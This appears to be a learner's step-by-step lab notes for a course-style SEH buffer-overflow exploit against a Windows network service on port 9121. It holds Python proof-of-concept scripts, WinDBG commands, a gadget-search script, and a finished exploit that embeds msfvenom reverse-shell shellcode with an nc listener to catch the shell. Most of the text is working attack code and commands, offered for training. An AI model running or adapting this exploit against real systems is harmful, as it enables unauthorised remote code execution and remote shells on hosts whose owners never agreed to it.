1. First have a PoC ready. Should look like below. This might overwrite a pointer but not EIP directly. Open WinDBG and attach to the process. Run the code on Kali.

     #!/usr/bin/python
     import socket
     import sys
     from struct import pack
    
     try:
     server = "192.168.199.137"
     port = 9121
     size = 1000
    
     inputBuffer = b"\x41" * size
    
     header =  b"\x75\x19\xba\xab"
     header += b"\x03\x00\x00\x00"
     header += b"\x00\x40\x00\x00"
     header += pack('<I', len(inputBuffer))
     header += pack('<I', len(inputBuffer))
     header += pack('<I', inputBuffer[-1])
    
     buf = header + inputBuffer 
    
     print("Sending evil buffer...")
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.connect((server, port))
     s.send(buf)
     s.close()
        
     print("Done!")
        
     except socket.error:
     print("Could not connect!")
    
  2. Restart debugger. Run msf-pattern_create -l 1000 where 1000 should be longer or same than the crash length to identify where it crash. Comment the previous inputBuffer in the Python PoC and use this instead. Send.
  3. When it crashes, run !exchain. Refer to the example below, and in this case the overwritten pointer is 33654132:

     0155fe1c: libpal!md5_starts+149fb (005fdf5b)
     0155ff54: 33654132
     Invalid exception stack at 65413165
    
  4. Use the following to identify the correct offset: msf-pattern_offset -l 1000 -q 33654132
  5. Restart debugger. Update your code such that you are using the latest offset (128 in this case). When you run !exchain again you should see 42424242 instead:

     try:
     server = sys.argv[1]
     port = 9121
     size = 1000
    
     inputBuffer = b"\x41" * 128
     inputBuffer+= b"\x42\x42\x42\x42"
     inputBuffer+= b"\x43" * (size - len(inputBuffer))
    
  6. Restart debugger. Next need to do bad characters detection. Send something like this below, but importantly, after sending, use g AGAIN so that the program will handle the exception:

     try:
     server = sys.argv[1]
     port = 9121
     size = 1000
    
     badchars = (
         b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d"
         b"\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a"
         b"\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27"
         b"\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34"
         b"\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41"
         b"\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
         b"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b"
         b"\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68"
         b"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75"
         b"\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82"
         b"\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
         b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c"
         b"\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9"
         b"\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6"
         b"\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3"
         b"\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
         b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd"
         b"\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea"
         b"\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7"
         b"\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
    
     # bad chars: \x00, 
     inputBuffer = b"\x41" * 128
     inputBuffer+= b"\x42\x42\x42\x42"
     inputBuffer+= badchars
     inputBuffer+= b"\x43" * (size - len(inputBuffer))
    
  7. Now we need to look at dds esp L5 and look at the THIRD row, which is usually the second argument(EstablisherFrame), as the first row is the return address. For example if it is something like this, the value we are interested in is 0132ff54:

     0132f338  77f16b12 ntdll!ExecuteHandler2+0x26
     0132f33c  0132f440
     0132f340  0132ff54
     0132f344  0132f45c
     0132f348  0132f3cc
    
  8. We then run db 0132ff54 then see which characters are bad characters. Most of the time the buffers are not enough, so once we confirm they are safe we need to remove them from the list.
  9. Restart the debugger. Next need to search POP POP RET by first .load narly, then use !nmod to find a modules without null bytes (or even bad characters? not sure). After this just execute lm m libspp to locate the start and end address of the library (libspp in this example based on previous output).
  10. (OPTIONAL) Using Kali msf-nasm_shell, can check that pop eax is 58, pop ebx is 5b, pop ecx is 59, pop edx is 5a, pop esi is 5e, pop edi is 5f, pop ebp is 5d and ret is c3.
  11. Create a file below named find_ppr.wds and CHANGE the start and end address with the one we located in step 9. The first code excludes POP ESP which we cant use whereas the second code is the original unmodified in course. COPY EVERYTHING INCLUDING THE INDENTATION. If this doesnt work copy from the folder or course directly.

    .block
    {
        .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01)
        {
            .if ($t0 == 0x5C) { .continue }
            .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01)
            {
                .if ($t1 == 0x5C) { .continue }
                s-[1]b 10000000 10226000 $t0 $t1 c3
            }
        }
    }
    
    .block
    {
        .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01)
        {
            .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01)
            {
                s-[1]b 10000000 10226000 $t0 $t1 c3
            }
        }
    }
    
  12. Execute it in WinDBG using the command $><C:\Users\offsec\Desktop\find_ppr.wds. Use anyone of it to confirm it is PPR: u 1015a2f0 L3. MAKE SURE NO BAD CHARACTERS!
  13. Update your Python code so that it contains the address (From ChatGPT can use inputBuffer += b"\xf0\xa2\x15\x10" as well if don’t want to use pack):

    ...
    try:
    server = sys.argv[1]
    port = 9121
    size = 1000
    
    inputBuffer = b"\x41" * 128
    inputBuffer+= pack("<L", (0x1015a2f0))  # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret
    inputBuffer+= b"\x43" * (size - len(inputBuffer))
    ...
    
  14. Restart the debugger. Run the code and will trigger exception. Run g then !exchain and will get something like below. The important one is the 1015a2f0 which is the value we inserted as SEH just now. Run u 1015a2f0 L3 to confirm it contains PPR.

    018ffe1c: libpal!md5_starts+149fb (0099df5b)
    018fff54: libspp!pcre_exec+16460 (1015a2f0)
    Invalid exception stack at 41414141
    
  15. UPDATE THE FIRST OFFSET SO THAT IT -4 BECAUSE YOU WILL ADD SHORT JUMP LATER. Update the code to include a short jump EB 06 so that it jump over the PPR (six instead of four because need to include the EB 06 itself too), and insert a dummy shellcode so that we can search where it is later.

    ...
    try:
    server = sys.argv[1]
    port = 9121
    size = 1000
    
    shellcode = b"\x43" * 400
    
    inputBuffer = b"\x41" * 124
    inputBuffer+= pack("<L", (0x06eb9090))  # (NSEH)
    inputBuffer+= pack("<L", (0x1015a2f0))  # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret
    inputBuffer+= b"\x90" * (size - len(inputBuffer) - len(shellcode))
    inputBuffer+= shellcode
    ...
    
  16. Restart the debugger. DO NOT PROCEED before you set a breakpoint at the address from Step 12 bp 0x1015a2f0, then run the exploit code. Run g then keep on running t until AFTER eb 06 (usually the NOP). Then run !teb, remember the StackBase and StackLimit (StackBase is 01af0000 and StackLimit is 01aee000 in this example). Then run s -b 01aee000 01af0000 90 90 90 90 43 43 43 43 43 43 43 43 (replace the StackBase and StackLimit, taking note the first is Limit second is Base). Take note of the results below, and the address here is 01aefc70 (but the actual shellcode starts from 01aefc74!).

    0:010> s -b 01aee000 01af0000 90 90 90 90 43 43 43 43 43 43 43 43
    01aefc70  90 90 90 90 43 43 43 43-43 43 43 43 43 43 43 43  ....CCCCCCCCCCCC
    
  17. Confirm that the shellcode is not truncated with the address above dd 01aefc70 L70 (COUNT!). Then determine the offset of current stack pointer to this address of ACTUAL SHELLCODE(NOT 01aefc70) with ? 01aefc74 - @esp.
  18. In Kali run msf-nasm_shell, then add esp, 0x830 where 830 is the results of step 17. If this contains null bytes (00), then run add sp, 0x830 where 830 is the results of step 17, and is the lower 16 bit operation. Next run jmp esp and take note of the results of this 2 (jmp esp will always be FFE4). Update the code again:

    ...
    try:
    server = sys.argv[1]
    port = 9121
    size = 1000
    
    shellcode = b"\x90" * 8
    shellcode+= b"\x43" * (400 - len(shellcode))
    
    inputBuffer = b"\x41" * 124
    inputBuffer+= pack("<L", (0x06eb9090))  # (NSEH)
    inputBuffer+= pack("<L", (0x1015a2f0))  # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret
    inputBuffer+= b"\x90" * 2
    inputBuffer+= b"\x66\x81\xc4\x30\x08"   # add sp, 0x830
    inputBuffer+= b"\xff\xe4"               # jmp esp
    inputBuffer+= b"\x90" * (size - len(inputBuffer) - len(shellcode))
    inputBuffer+= shellcode
    ...
    
  19. Use msfvenom msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=8888 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" with the -b being bad characters to generate shellcode. Ensure that the size is smaller than your shellcode available size (830 in this example). Also add NOP sled, run sudo nc -lvp 8888 on Kali, send the exploit code and you should receive shell.

    #!/usr/bin/python
    import socket
    import sys
    from struct import pack
    
    try:
    server = "192.168.199.138"
    port = 9121
    size = 1000
    
    shellcode = b"\x90" * 20
    shellcode+= (
        b"\xbd\x82\xb0\x7c\xaf\xd9\xc2\xd9\x74\x24\xf4\x58\x33\xc9"
        b"\xb1\x52\x31\x68\x12\x03\x68\x12\x83\x6a\x4c\x9e\x5a\x96"
        b"\x45\xdd\xa5\x66\x96\x82\x2c\x83\xa7\x82\x4b\xc0\x98\x32"
        b"\x1f\x84\x14\xb8\x4d\x3c\xae\xcc\x59\x33\x07\x7a\xbc\x7a"
        b"\x98\xd7\xfc\x1d\x1a\x2a\xd1\xfd\x23\xe5\x24\xfc\x64\x18"
        b"\xc4\xac\x3d\x56\x7b\x40\x49\x22\x40\xeb\x01\xa2\xc0\x08"
        b"\xd1\xc5\xe1\x9f\x69\x9c\x21\x1e\xbd\x94\x6b\x38\xa2\x91"
        b"\x22\xb3\x10\x6d\xb5\x15\x69\x8e\x1a\x58\x45\x7d\x62\x9d"
        b"\x62\x9e\x11\xd7\x90\x23\x22\x2c\xea\xff\xa7\xb6\x4c\x8b"
        b"\x10\x12\x6c\x58\xc6\xd1\x62\x15\x8c\xbd\x66\xa8\x41\xb6"
        b"\x93\x21\x64\x18\x12\x71\x43\xbc\x7e\x21\xea\xe5\xda\x84"
        b"\x13\xf5\x84\x79\xb6\x7e\x28\x6d\xcb\xdd\x25\x42\xe6\xdd"
        b"\xb5\xcc\x71\xae\x87\x53\x2a\x38\xa4\x1c\xf4\xbf\xcb\x36"
        b"\x40\x2f\x32\xb9\xb1\x66\xf1\xed\xe1\x10\xd0\x8d\x69\xe0"
        b"\xdd\x5b\x3d\xb0\x71\x34\xfe\x60\x32\xe4\x96\x6a\xbd\xdb"
        b"\x87\x95\x17\x74\x2d\x6c\xf0\xbb\x1a\xa9\x87\x54\x59\x35"
        b"\xaa\x1c\xd4\xd3\xc0\x4c\xb1\x4c\x7d\xf4\x98\x06\x1c\xf9"
        b"\x36\x63\x1e\x71\xb5\x94\xd1\x72\xb0\x86\x86\x72\x8f\xf4"
        b"\x01\x8c\x25\x90\xce\x1f\xa2\x60\x98\x03\x7d\x37\xcd\xf2"
        b"\x74\xdd\xe3\xad\x2e\xc3\xf9\x28\x08\x47\x26\x89\x97\x46"
        b"\xab\xb5\xb3\x58\x75\x35\xf8\x0c\x29\x60\x56\xfa\x8f\xda"
        b"\x18\x54\x46\xb0\xf2\x30\x1f\xfa\xc4\x46\x20\xd7\xb2\xa6"
        b"\x91\x8e\x82\xd9\x1e\x47\x03\xa2\x42\xf7\xec\x79\xc7\x17"
        b"\x0f\xab\x32\xb0\x96\x3e\xff\xdd\x28\x95\x3c\xd8\xaa\x1f"
        b"\xbd\x1f\xb2\x6a\xb8\x64\x74\x87\xb0\xf5\x11\xa7\x67\xf5"
        b"\x33"
        )
    shellcode+= b"\x43" * (400 - len(shellcode))
    
    # bad chars \x00, \x02, \x0a, \x0d
    inputBuffer = b"\x41" * 124
    inputBuffer+= pack("<L", (0x06eb9090))  # (NSEH) 90 90 eb 06
    inputBuffer+= pack("<L", (0x1015a2f0))  # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret
    inputBuffer+= b"\x90" * 2
    inputBuffer+= b"\x66\x81\xc4\x30\x08"   # add sp, 0x830
    inputBuffer+= b"\xff\xe4"
    inputBuffer+= b"\x90" * (size - len(inputBuffer) - len(shellcode))
    inputBuffer+= shellcode
    
    header =  b"\x75\x19\xba\xab"
    header += b"\x03\x00\x00\x00"
    header += b"\x00\x40\x00\x00"
    header += pack('<I', len(inputBuffer))
    header += pack('<I', len(inputBuffer))
    header += pack('<I', inputBuffer[-1])
    
    buf = header + inputBuffer 
    
    print("Sending evil buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(buf)
    s.close()
        
    print("Done!")
        
    except socket.error:
    print("Could not connect!")